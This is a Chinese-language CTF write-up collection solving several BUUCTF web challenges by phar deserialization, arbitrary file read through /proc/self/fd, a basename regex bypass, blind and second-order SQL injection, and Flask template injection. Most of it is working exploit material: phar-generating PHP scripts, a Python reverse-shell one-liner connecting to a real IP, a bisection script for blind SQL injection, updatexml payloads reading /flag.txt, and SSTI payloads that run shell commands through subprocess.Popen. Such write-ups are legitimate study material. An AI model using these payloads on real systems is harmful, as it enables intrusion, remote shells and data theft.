[CISCN2019 华北赛区 Day1 Web1]Dropbox
在下载的时候可以通过抓包修改文件名filename=…/…/index.php 
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
创建文件自己审计比较好,注意到__call() __destruct() 等魔术方法 一开始的构思,不可能这么简单
class User{
public $db;
public function __destruct() {
$this->db->close();
}
}
class File{
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
__call() //在对象上下文中调用不可访问的方法时触发
利用点:
exp1.phar
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
利用点:
public function detele() {
unlink($this->filename);
}

exp2.phar
<?php
class User
{
public $db;
}
class FileList
{
private $files;
public function __construct()
{
$this->files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}
$b=new FileList();
$c=new User();
$c->db=$b;
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);
$phar->stopBuffering();
?>

https://www.jianshu.com/p/5b91e0b7f3ac
[网鼎杯 2020 白虎组]PicDown
尝试url会发现存在任意文件下载

../../../../../../../../proc/self/cmdline
这里利用的是当前进程self,没有用pid号  
?url=app.py
读源码
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
SECRET_FILE = "/tmp/secret.txt" /no_one_know_the_manager 路径下可以print(SECRET_FILE),并且get获取两个参数,key匹配成果则os.system()执行shell 但是这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了 而且linux里如果没有关闭文件会放在内存里,就算你remove掉了在/proc/[pid]/fd下还是会保存 此处可以通过/proc/pid/fd/ 读取,这个目录包含了进程打开的每一个文件的链接
../../../../proc/self/fd/3
  shell没有回显,python反弹shell一下
这台机子我没成功,先用的自己的服务器
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击端IP地址',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
payload:
http://990a5721-c707-491b-826e-3cea59b09f23.node4.buuoj.cn:81/no_one_know_the_manager?key=1s4H42WVbRnvWH1mOzRBnDlzl5cnEgntBq0m7Ebk/aE=&shell=python%20-c%20%22import%20os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%27120.55.82.147%27,2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%27/bin/bash%27,%27-i%27]);%22

这里有一道类似姿势的题目,留着做一下: https://www.cnblogs.com/Zeker62/p/15211227.html
[Zer0pts2020]Can you guess it?
<?php
include 'config.php';
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
注意到$_SERVER['PHP_SELF']
注意到一个hash_equals 函数
这里无法突破,换个地方
 这里要fuzz一下 利用这里来highlight_file这个config.php。但是存在正则匹配,需要绕过。这里的绕过也是利用了basename这个点。
也就是说 preg_match(’/config.php/*$/i’)过滤结尾是config.php/的文件名 我们利用basename的bug绕过正则匹配 basename() 函数返回路径中的文件名部分。但是它有bug,它会去掉文件名开头的非ASCII值。
所以我们在绕过正则的同时,还可以让basename截取我们想要的 config.php,而不是config.php+非ascii码
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for($i=0;$i<255;$i++){
$str="/index.php/config.php/".chr($i);
if(!check($str)){
echo $i.":".basename($str);
echo "<br>";
}
}
结果:
113:q
114:r
115:s
116:t
117:u
118:v
119:w
120:x
121:y
122:z
123:{
124:|
125:}
126:~
127:
128:config.php //我选这个
129:config.php
130:config.php
131:config.php
132:config.php
133:config.php
134:config.php
135:config.php
136:config.php
137:config.php
138:config.php
139:config.php
140:config.php
141:config.php
142:config.php
143:config.php
144:config.php
145:config.php
146:config.php
147:config.php
148:config.php
149:config.php
150:config.php
151:config.php
 
把i转换为hex,url编码放入url中,这里有个坑,必须是/index.php/config.php/?source
robots.txt+基操看源码 
看看哪里有提示的php文件 
image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
对单引号进行了过滤,无法闭合单引号,所以我们用\0 来转义掉它的单引号。输入\0 ,经过addslashes 函数会先变成\\0 ,然后经过str_replace 函数,会变成,这样,就把id后面的单引号给转义了。附上SQL注入代码:
import requests
url = "http://0bec55ef-7655-4335-b81b-ef885378b84f.node4.buuoj.cn:81/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1, 100):
l = 1
r = 130
mid = (l + r) >> 1
while(l < r):
payloads = payload.format(i, mid)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
result += chr(mid)
print(result)
- 文件上传

[CISCN2019 华北赛区 Day1 Web5]CyberPunk
查看源码,底端
<!--?file=?-->
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
没毛病,继续
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
- 二次注入
可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
二次注入原理: 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
利用报错注入读取flag,由于updatexml的限制,分开读取
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
查看源码 
/?search=
尝试
/?search={{7*7}}

存在模板注入
查看配置文件  试试,不行
这里用 脚本索引
import requests
import re
import html
import time
index = 0
for i in range(1, 1000):
try:
url = "http://23ec096b-0b95-4d25-9568-dfe8eba06a13.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(
i) + "]}}"
r = requests.get(url)
res = re.findall(
"<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()}} 
不strip() 它会有换行符,且有两个数组,取第一个[0]
|